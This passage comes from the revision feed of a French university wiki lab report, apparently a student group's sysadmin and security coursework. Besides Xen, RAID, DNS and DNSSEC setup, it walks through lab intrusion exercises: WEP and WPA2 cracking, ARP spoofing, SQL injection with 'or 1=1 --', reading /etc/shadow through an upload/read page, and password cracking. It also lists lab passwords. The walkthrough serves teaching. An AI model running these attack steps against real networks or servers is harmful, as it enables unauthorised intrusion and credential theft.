[[Fichier:Sql_injection_honey.png|thumb|center||alt=texte alternatif|400px|Injection SQL honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :&lt;br /&gt;
- La première permet d’uploader un fichier qui est stocké sur le pc du server&lt;br /&gt;
- La deuxième permet de lire ce fichier.&lt;br /&gt;
&lt;br /&gt;
Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.&lt;br /&gt;
&lt;br /&gt;
Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.&lt;br /&gt;
&lt;br /&gt;
 dirb -r honey.plil.info&lt;br /&gt;
&lt;br /&gt;
photo&lt;br /&gt;
&lt;br /&gt;
Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root et le passer dans John the ripper qui nous donne le mot de passe ********.&lt;br /&gt;
&lt;br /&gt;
==Réalisations==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous créons 3 partitions virtuelles grâce aux commandes :&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n amanite-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n amanite-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous modifie le fichier : /etc/xen/amanite.cfg, puis nous redémarrons notre VM.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous installons le paquet mdadm.&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et nous nous assurons que ce dernier est démarré à chaque démarrage de notre VM.&lt;br /&gt;
&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
On formate notre volume RAID.&lt;br /&gt;
&lt;br /&gt;
mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
On rajoute cette ligne dans le fstab :&lt;br /&gt;
&lt;br /&gt;
  /dev/md0   /raid5   ext4   defaults   0   2&lt;br /&gt;
&lt;br /&gt;
Pour finir, on peuple notre volume RAID.&lt;br /&gt;
&lt;br /&gt;
mkdir /raid5&lt;br /&gt;
mount -a&lt;br /&gt;
touch /raid5/test&lt;br /&gt;
&lt;br /&gt;
RAID 5 : on doit avoir minimum 3 disques, mais on peut survivre seulement à la perte d'un seul disque. On peut donc supprimer une partition et toujours avoir accès à nos fichiers.&lt;br /&gt;
&lt;br /&gt;
===Chiffrement de données===&lt;br /&gt;
&lt;br /&gt;
A remplir&lt;br /&gt;
&lt;br /&gt;
===Inspection ARP par un élément réseau===&lt;br /&gt;
&lt;br /&gt;
===Sécurisation WiFi par WPA2-EAP===&lt;/div&gt;</summary>
		<author><name>Psanchez</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=54558</id>
		<title>TP sysres IMA5sc 2020/2021 G5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=54558"/>
				<updated>2020-12-14T15:46:11Z</updated>
		
		<summary type="html">&lt;p&gt;Psanchez : /* Intrusion sur un serveur d’application Web */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 5&lt;br /&gt;
| amanite.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 305&lt;br /&gt;
| 100.64.0.24&lt;br /&gt;
| 255.255.255.0&lt;br /&gt;
| 100.64.0.254&lt;br /&gt;
| 100.64.0.1&lt;br /&gt;
| 100.64.0.2&lt;br /&gt;
| 193.48.57.184&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
==Création d'une machine virtuelle Xen Linux sur le dom0 capbreton.plil.info==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh :&lt;br /&gt;
&lt;br /&gt;
ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Création de la VM Xen :&lt;br /&gt;
&lt;br /&gt;
&amp;gt; su - (Afin de pouvoir accéder aux variables d'environnement de su et ainsi accéder à sbin/mkswap)&lt;br /&gt;
&lt;br /&gt;
&amp;gt; xen-create-image --hostname=amanite --ip=100.64.0.19 --netmask=255.255.255.0 --gateway=100.64.0.5 --password=pasglop --dir=/usr/local/xen --dist=buster &lt;br /&gt;
&lt;br /&gt;
Résultat de la commande :&lt;br /&gt;
 General Information&lt;br /&gt;
 --------------------&lt;br /&gt;
 Hostname       :  amanite&lt;br /&gt;
 Distribution   :  buster&lt;br /&gt;
 Mirror         :  http://deb.debian.org/debian&lt;br /&gt;
 Partitions     :  swap            512M  (swap)&lt;br /&gt;
                  /               4G    (ext4)&lt;br /&gt;
 Image type     :  sparse&lt;br /&gt;
 Memory size    :  256M&lt;br /&gt;
 Kernel path    :  /boot/vmlinuz-4.19.0-9-amd64&lt;br /&gt;
 Initrd path    :  /boot/initrd.img-4.19.0-9-amd64&lt;br /&gt;
&lt;br /&gt;
 Networking Information&lt;br /&gt;
 ----------------------&lt;br /&gt;
 IP Address 1   : 100.64.0.19 [MAC: 00:16:3E:C4:6A:BB]&lt;br /&gt;
 Netmask        : 255.255.255.0&lt;br /&gt;
 Gateway        : 100.64.0.5&lt;br /&gt;
&lt;br /&gt;
===Configuration des LV===&lt;br /&gt;
&lt;br /&gt;
Après que Guillaume ait créer un volume group sur capbreton pour chaque groupe puis attribuer 2 Logical Volume (LV) de 10Go sur ce volume group il est nécessaire de formater ces 2 LV à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite1&lt;br /&gt;
 root@capbreton:~# mkfs.ext4 /dev/storage/amanite2&lt;br /&gt;
&lt;br /&gt;
Nous avons par la suite modifier le fichier config de la VM, ''amanite.cfg'', afin qu'elle possède les volumes loguqes amanite1 et amanite2 précédemment créé en rajoutant les lignes ci-dessous :&lt;br /&gt;
&lt;br /&gt;
Dans la fonction Disk Device(s) :&lt;br /&gt;
 disk = [&lt;br /&gt;
 ...&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez1,xvdav3,w'&lt;br /&gt;
 'phy:/dev/storage/RingotSanchez2,xvdav4,w'&lt;br /&gt;
 ]&lt;br /&gt;
&lt;br /&gt;
Puis dans Networking :&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, ...']&lt;br /&gt;
&lt;br /&gt;
===Création et configuration de la machine virtuelle===&lt;br /&gt;
&lt;br /&gt;
Lorsque nous sommes connecté en ssh à capbreton, creation de la VM avec la commande : xl create -c /etc/xen/amanite.cfg&lt;br /&gt;
&lt;br /&gt;
*Commandes utiles&lt;br /&gt;
** Affichage de l'ensemble des VM présente sur capbreton : xl list&lt;br /&gt;
** Se connecter à la VM : xen console amanite&lt;br /&gt;
 Identifiant de la machine : root&lt;br /&gt;
 Mdp de la machine : pasglop&lt;br /&gt;
&lt;br /&gt;
'''Suite de la configuration'''&lt;br /&gt;
&lt;br /&gt;
Pour que les répertoires /var et /home de la machine virtuelle soient sur des partitions LVM de l’hôte il faut tout d'abord formater xvda3, xvda4 en ext 4  à l'aide des commandes : &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda3 &lt;br /&gt;
 root@amanite:~# mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
Par la suite nous montons nos deux disques afin d'y déplacer nos répertoires (en ayant préalablement créer les points de montages /mnt/xvda3 et /mnt/xvda4) :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mount /dev/xvda3 /mnt/xvda3&lt;br /&gt;
 root@amanite:~# mount /dev/xvda4 /mnt/xvda4&lt;br /&gt;
&lt;br /&gt;
Le répertoire /home étant vide nous ne déplaçons que le répertoire /var dans le disques xvda4 :&lt;br /&gt;
&lt;br /&gt;
 root@amanite:~# mv /var/* /mnt/xvda4.&lt;br /&gt;
&lt;br /&gt;
Puis nous démontons (umount) nos deux volumes.&lt;br /&gt;
&lt;br /&gt;
Nous modifions ensuite /ect/fstab en ajoutant :&lt;br /&gt;
 /dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Puis nous les montons à l'aide de la commande : &lt;br /&gt;
 mount -a &lt;br /&gt;
Finalement à l'aide de la commande lsblk nous pouvons verifier notre montage : &lt;br /&gt;
 NAME  MAJ:MIN RM  SIZE RO TYPE MOUNTPOINT&lt;br /&gt;
 xvda1 202:1    0  512M  0 disk [SWAP]&lt;br /&gt;
 xvda2 202:2    0    4G  0 disk /&lt;br /&gt;
 xvda3 202:3    0   10G  0 disk /home&lt;br /&gt;
 xvda4 202:4    0   10G  0 disk /var&lt;br /&gt;
&lt;br /&gt;
==Service Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
Installation d'un serveur ssh, accessible grâce à la commande :&lt;br /&gt;
 ssh root@amanite.site&lt;br /&gt;
avec le mot de passe habituel d'une zabeth non root. (Il faut au préalable avoir autoriser la connexion en root : PermitRootLogin yes dans le fichier /etc/ssh/sshd_config)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Nous avons commencé par louer un nom de domaine sur gandi.net :&lt;br /&gt;
 amanite.site&lt;br /&gt;
Nous avons ensuite installé le package bind9.&lt;br /&gt;
&lt;br /&gt;
Dans le dossier de configuration de bind9 on modifie les fichiers de configurations :&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/zones/amanite.site.db :&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.amanite.site. postmaster.amanite.site. (&lt;br /&gt;
                              6         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.amanite.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	 IN 	 MX	 42 ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.184&lt;br /&gt;
 www     IN      A       193.48.57.184&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/name.conf.options&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
 	directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
 	dnssec-validation auto;&lt;br /&gt;
 	listen-on-v6 { any; };&lt;br /&gt;
 	allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;;};&lt;br /&gt;
 };&lt;br /&gt;
 &lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
     217.70.177.40/32;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Sur gandi.net on lie ns1.amanite.site à 193.48.57.184 grâce a l'option Gluerecords, ensuite on ajoute aux serveurs de noms externes.&lt;br /&gt;
 ns1.amanite.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
Pour vérifier le bon fonctionnement on peut utiliser les commandes suivantes :&lt;br /&gt;
 host -t any ns1.amanite.site localhost&lt;br /&gt;
 host -t any ns1.amanite.site&lt;br /&gt;
&lt;br /&gt;
ou se servir de nslookup.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
Pour sécuriser notre site web par certificat il faut d'abord créer un certificat pour cela on utilise l'utilitaire openssl et nous nous aidons de la documentation de Gandi.&lt;br /&gt;
Cette ligne de commande nous permet de lancer la procédure de création :&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout amanite.site.key -out amanite.site.csr&lt;br /&gt;
&lt;br /&gt;
 Country Name (2 letter code) [AU]:FR&lt;br /&gt;
 State or Province Name (full name) [Some-State]:France&lt;br /&gt;
 Locality Name (eg, city) []:Lille&lt;br /&gt;
 Organization Name (eg, company) [Internet Widgits Pty Ltd]:Polytech&lt;br /&gt;
 Organizational Unit Name (eg, section) []:IMA&lt;br /&gt;
 Common Name (e.g. server FQDN or YOUR name) []:amanite.site&lt;br /&gt;
 Email Address []:admin@amanite.site&lt;br /&gt;
 &lt;br /&gt;
 Please enter the following 'extra' attributes&lt;br /&gt;
 to be sent with your certificate request&lt;br /&gt;
 A challenge password []:glopglop&lt;br /&gt;
 An optional company name []:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Une fois la procédure lancée nous rentrons nos informations comme notre pays, notre entreprise, notre nom d'organisation mais le plus important notre common name &amp;quot;amanite.site&amp;quot;.&lt;br /&gt;
Une fois fini deux fichiers sont créés amanite.site.key et amanite.site.csr, il faut maintenant faire signer le fichier amanite.site.csr par une authorité de certification. Cela se passe directement sur le site de gandi, nous ajoutons ce certificat a notre nom de domaine et nous attendons de recevoir le certificat signé.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
Le but de cette partie est de résoudre certains problèmes de sécurité liés au protocole DNS grâce au procole DNSSEC. DNSSEC permet de proteger les données et les enregistrements DNS de bout en bout (et non pas seulement le canal de communication comme ce qui pourrait être fait avec TLS). Ainsi, il est efficace même lorsqu'un serveur intermédiaire a été compromis. &lt;br /&gt;
Pour ce faire, nous configurons bind pour qu'il soit capable d'accepter les échanges suivant le protocole DNSSEC.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par activer DNSSEC dans le fichier /etc/bind/named.conf.local grâce à l'option :&lt;br /&gt;
 dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Par la suite nous créons un dossier amanite.site.dnssec dans lequel seront stockées les clefs et nous générons deux couples de clefs (ZSK et KSK) qui permettront de chiffrer ou déchiffrer les enregistrements. Nous commençons par créer la clef asymétrique de signature de clefs de zone : &lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE amanite.site&lt;br /&gt;
Puis la la clef asymétrique de la zone pour signer les enregistrements :&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 1024 -n ZONE amanite.site&lt;br /&gt;
&lt;br /&gt;
Nous renommons les deux paires de clefs obtenues pour plus de lisibilité : &lt;br /&gt;
 amanite-ksk.key amanite-ksk.private amanite-zsk.key amanite-zsk.private&lt;br /&gt;
&lt;br /&gt;
Que nous incluons dans votre fichier de zone /etc/bind/zones/amanite.site.db :&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-ksk.key&lt;br /&gt;
 $include /etc/bind/amanite.site.dnssec/amanite.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Sans oublier d'incrémenter le numéro de version de la zone dans le fichier amanite.site.db et amanite.site.db.signed&lt;br /&gt;
&lt;br /&gt;
Nous signons les enregistrements de la zone avec la commande : &lt;br /&gt;
 dnssec-signzone -o amanite.site -k amanite.site-ksk ../zones/amanite.site.db amanite.site-zsk &lt;br /&gt;
&lt;br /&gt;
Ensuite dans le fichier /etc/bind/named.conf.local nous modifions la zone :&lt;br /&gt;
 zone &amp;quot;amanite.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/zones/amanite.site.db.signed&amp;quot;;&lt;br /&gt;
     allow-transfer{217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
L'avant dernière étape consiste à communiquer la partie publique de la KSK (amanite.site-ksk.key) à Gandi (partie DNSSEC)&lt;br /&gt;
&lt;br /&gt;
Finalement nous relançons bind : &lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
Nous vérifions la configuration de notre DNS grâce au site : https://dnssec-analyzer.verisignlabs.com/amanite.site&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Screenshot_amanite.site.png|thumb|center||alt=texte alternatif|400px|Screenshot sur le site DNSSEC Analyzer]]&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion==&lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d’un point d’accès WiFi===&lt;br /&gt;
&lt;br /&gt;
*Liste des commandes :&lt;br /&gt;
** Lister les interfaces WiFi disponibles : airmong-ng&lt;br /&gt;
** Passage d'une interface en mode moniteur : airmong-ng start &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Affichage et scan des réseaux WiFi WEP environnants : airodump-ng --encrypt wep &amp;lt;Interface&amp;gt;&lt;br /&gt;
** Capture des paquets émis par le point d'accés cible :  airodump-ng --write &amp;lt;nomFichierSortie&amp;gt; --channel 3 -bssid &amp;lt;@mac_AP&amp;gt; &amp;lt;nomInterface&amp;gt;&lt;br /&gt;
** Crack la clef WEP après avoir capture au minimum 30 000 paquets : aircrack-ng -x &amp;lt;nomFichierSortie&amp;gt;-01.cap&lt;br /&gt;
&lt;br /&gt;
Notre première étape consiste à passer notre interface en mode moniteur.&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng&lt;br /&gt;
&lt;br /&gt;
Ce qui nous retourne le nom de notre interface, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande afin d'écouter le trafic wifi aux alentours : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
 &lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux WiFi WEP capter par notre interface : &lt;br /&gt;
 airodump-ng --encrypt wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
Apparaît alors la cracotte05, nous récupérons son BSSID : 04:DA:D2:9C:50:54 qui va alors nous servir à stocker les vecteurs d'initialisation générées par le point d'accés à l'aide de la commande : &lt;br /&gt;
 airodump-ng --write data --channel 3 -bssid 04:DA:D2:9C:50:54 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous pouvons &amp;quot;stimuler&amp;quot; le point d'accés, afin d'augmenter le nombre de paquets transmis (et collectés) : &lt;br /&gt;
 '''Fake Authentication''' : aireplay-ng -1 0 -e cracotte05 -a 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 '''Injection''' : aireplay-ng -3 -e cracotte05 -b 04:DA:D2:9C:50:54 -h 40:A5:EF:01:35:79 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Après avoir capturer assez de paquet (environ 30 000) il est possible de cracker la clé WEP à l'aide de la commande : &lt;br /&gt;
 aircrack-ng -z data.cap&lt;br /&gt;
&lt;br /&gt;
Nous obtenons alors : &lt;br /&gt;
 KEY FOUND! [F1:DE:D4:00:00:00:00:00:00:00:0F:FF:FF ] &lt;br /&gt;
Decrypted correctly: 100%&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA2-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette deuxième étape de craquage de clé, nous allons utiliser quelques commandes communes au craquage de la clé WEP.&lt;br /&gt;
&lt;br /&gt;
Nous utilisons donc la commande : airmong-ng afin de lister nos interfaces, dans notre cas : &lt;br /&gt;
 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous démarrons cette interface en mode moniteur avec la commande : &lt;br /&gt;
 airmong-ng start wlan0mon&lt;br /&gt;
 &lt;br /&gt;
Par la suite nous affichons l'ensemble des réseaux capter par notre interface : &lt;br /&gt;
 airodump-ng wlan0mon&lt;br /&gt;
&lt;br /&gt;
Nous repérons le réseau &amp;quot;Kracotte05&amp;quot; qui possède le BSSID suivant &amp;quot;00:14:1B:60:8C:24&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons lancer dès lors la commande :&lt;br /&gt;
 airodump-ng --write data -c 3 -bssid 00:14:1B:60:8C:24 wlan0mon&lt;br /&gt;
&lt;br /&gt;
Il faut désormais attendre que le handshake soit notifié, dès que celui-ci arrive nous pouvons arreter la capture.&lt;br /&gt;
En parallèle nous pouvons d'ors et déjà créer le dictionnaire qui va nous permettre de casser la clé WPA grâce à la commande crunch :&lt;br /&gt;
 crunch 8 8 0123456789 &amp;gt; dico.txt&lt;br /&gt;
En effet nous savons que le mot de passe n'est composé que de chiffres et la taille totale de celui-ci est de longueur égale à 8.&lt;br /&gt;
&lt;br /&gt;
Pour cracker le mot de passe, nous avons utiliser hashcat, un utilitaire qui permet notamment d'utiliser la puissance du GPU pour le craquage de la clé.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante :&lt;br /&gt;
 crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
Le mot de passe pour la kracotte05 est le suivant : 10244444&lt;br /&gt;
&lt;br /&gt;
===Attaque de type &amp;quot;homme au milieu&amp;quot; par usurpation ARP===&lt;br /&gt;
&lt;br /&gt;
La première étape est de transformer notre machine attaquante en routeur en mettant la variable noyau /proc/sys/net/ipv4/ip_forward à 1&lt;br /&gt;
&lt;br /&gt;
Grâce à la commande : &lt;br /&gt;
 arp -a&lt;br /&gt;
Nous pouvons afficher la table arp de la machine pirate. Grâce à cette table nous identifions deux adresses IP :&lt;br /&gt;
&lt;br /&gt;
172.26.145.254&lt;br /&gt;
-&amp;gt; Adresse IP du routeur&lt;br /&gt;
&lt;br /&gt;
172.26.145.60&lt;br /&gt;
-&amp;gt; Adresse IP de la machine victime&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Notre but est de nous placer entre la gateway et la machine victime afin de pouvoir observer les paquets échangés entre le routeur et la machine victime.&lt;br /&gt;
&lt;br /&gt;
Les commandes suivantes vont nous permettre de procéder à notre attaque du type ARP poisoning :&lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.254 172.26.145.60 &lt;br /&gt;
 arpspoof -i eth0 -t 172.26.145.60 172.26.145.254 &lt;br /&gt;
La première envoie à la cible (172.26.145.254) une fausse réponse ARP afin de corrompre le cache ARP de cette dernière pour ainsi détourner le trafic à destination de notre hôte (172.26.145.60). Ainsi lorsque le routeur devra envoyer des informations à destination de 172.26.145.60, il procédera à une résolution ARP en utilisant l'adresse MAC associé à l'IP 172.26.145.60 et qui aura été changer à la suite de notre commande (et nous sera alors associé). La même méthodologie est appliquée pour la seconde commande.&lt;br /&gt;
&lt;br /&gt;
En activant le mode routeur sur la machine pirate, nous pouvons retransférer les paquets vers le routeur et vers la machine victime de manière transparante. &lt;br /&gt;
&lt;br /&gt;
La machine victime va maintenant se connecter sur un serveur web HTTP.&lt;br /&gt;
&lt;br /&gt;
En lançant wireshark sur la machine attaquante nous observons les paquets suivants :&lt;br /&gt;
[[Fichier:wireshark_grp5.jpg|thumb|center||alt=texte alternatif|400px|Capture Wireshark]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Nous pouvons voir très clairement l'adresse mail ainsi que le mot de passe utilisés par l'utilisateur victime.&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d’application Web===&lt;br /&gt;
&lt;br /&gt;
Pour commencer ce challenge nous n’avons qu’une adresse : honey.plil.info afin de connaitre les services sur cette machine on utilise l’utilitaire nmap qui va scanner le réseau grâce à des pings sweep :&lt;br /&gt;
&lt;br /&gt;
 nmap -A -T4 honey.plil.info&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Nmap_honey.png|thumb|center||alt=texte alternatif|400px|Nmap honey.plil.info]]&lt;br /&gt;
&lt;br /&gt;
Nous voyons que le serveur héberge deux services :&lt;br /&gt;
Un service de connexion ssh, inutilisable sans login et mot de passe&lt;br /&gt;
Un service web.&lt;br /&gt;
&lt;br /&gt;
Nous essayons donc de commencer par attaquer le site web honey.plil.info&lt;br /&gt;
&lt;br /&gt;
Sur la page principale seul un formulaire de connexion est présent, celui-ci sûrement utilisé par une base de données donc nous tentons une injection SQL.&lt;br /&gt;
Les requêtes SQL de connexions sont souvent de la forme : &lt;br /&gt;
Select … From … Where login = « username » AND password = « password ».&lt;br /&gt;
Si nous connaissons l’username ou le mot de passe du compte sur lequel nous voulons nous connecter nous pouvons utiliser une injection du type « or 1 = 1 -- » qui est une condition toujours vraie. Dans notre cas nous ne connaissons ni le login ni le password à utiliser donc on utilise la condition vraie sur les deux champs. De ce fait la base de données sera « perdu » et nous renvoie tous les comptes auxquels nous pouvons nous connecter en nous disant que nous ne pouvons nous connecter à tous ces comptes en même temps.&lt;br /&gt;
&lt;br /&gt;
photo&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en tant qu’admin nous voyons que nous avons accès à trois pages, deux sont intéressantes :&lt;br /&gt;
- La première permet d’uploader un fichier qui est stocké sur le pc du server&lt;br /&gt;
- La deuxième permet de lire ce fichier.&lt;br /&gt;
&lt;br /&gt;
Nous uploadons le fichier password situé dans le dossier « etc », en le lisant nous nous apercevons que deux utilisateurs sont présents sur le serveur : root et rex et ces deux utilisateurs ont les droits pour se connecter en ssh. Nous uploadons le fichier shadow situé dans le dossier « etc », malheureusement celui-ci est vide.&lt;br /&gt;
&lt;br /&gt;
Après quelques tentatives infructueuses pour trouver le mot de passe de rex ou de root on se sert de l’utilitaire dirb qui va bruteforce le site internet pour trouver d’autres liens.&lt;br /&gt;
&lt;br /&gt;
 dirb -r honey.plil.info&lt;br /&gt;
&lt;br /&gt;
photo&lt;br /&gt;
&lt;br /&gt;
Celui-ci nous permet de voir qu’une page http://honey.plil.info/phpmyadmin/ est présente. Nous avons fait des recherches pour savoir dans quel fichier était stocké le mot de passe administrateur de phpmyadmin. Nous uploadons donc le fichier config.inc.php, à l’intérieur de celui-ci nous ne trouvons rien excepté un deuxième nom de fichier : “config-db.php”. Dans celui-ci nous trouvons le mot de passe “gencovid19”. Une fois connecté en tant que root sur phpmyadmin, nous fouillons les bases de données et nous trouvons le nom d’utilisateur “rex” et le mot de passe “plainpassword” dans la base “test”.&lt;br /&gt;
&lt;br /&gt;
Une fois connecté en ssh sur le compte de rex, nous avons regardé ses droits et ceux-ci sont quasi identique à ceux de root on peut donc ouvrir le fichier “shadow”, récupérer le hash du mot de passe de root et le passer dans John the ripper qui nous donne le mot de passe ********.&lt;br /&gt;
&lt;br /&gt;
==Réalisations==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
&lt;br /&gt;
A remplir&lt;br /&gt;
&lt;br /&gt;
===Chiffrement de données===&lt;br /&gt;
&lt;br /&gt;
A remplir&lt;br /&gt;
&lt;br /&gt;
===Inspection ARP par un élément réseau===&lt;br /&gt;
&lt;br /&gt;
===Sécurisation WiFi par WPA2-EAP===&lt;/div&gt;</summary>
		<author><name>Psanchez</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=54557</id>
		<title>TP sysres IMA5sc 2020/2021 G5</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G5&amp;diff=54557"/>
				<updated>2020-12-14T15:45:18Z</updated>
		
		<summary type="html">&lt;p&gt;Psanchez : /* Intrusion sur un serveur d’application Web */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! Distribution !! VLAN privé !! IP (VLAN333) !! Netmask (VLAN333) !! Gateway (VLAN333) !! Gateway 6509-E (VLAN333) !! Gateway 9200 (VLAN333) !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 5&lt;br /&gt;
| amanite.site&lt;br /&gt;
| Debian 10 Buster&lt;br /&gt;
| 305&lt;br /&gt;
| 100.64.0.24&lt;br /&gt;
| 255.255.255.0&lt;br /&gt;
| 100.64.0.254&lt;br /&gt;
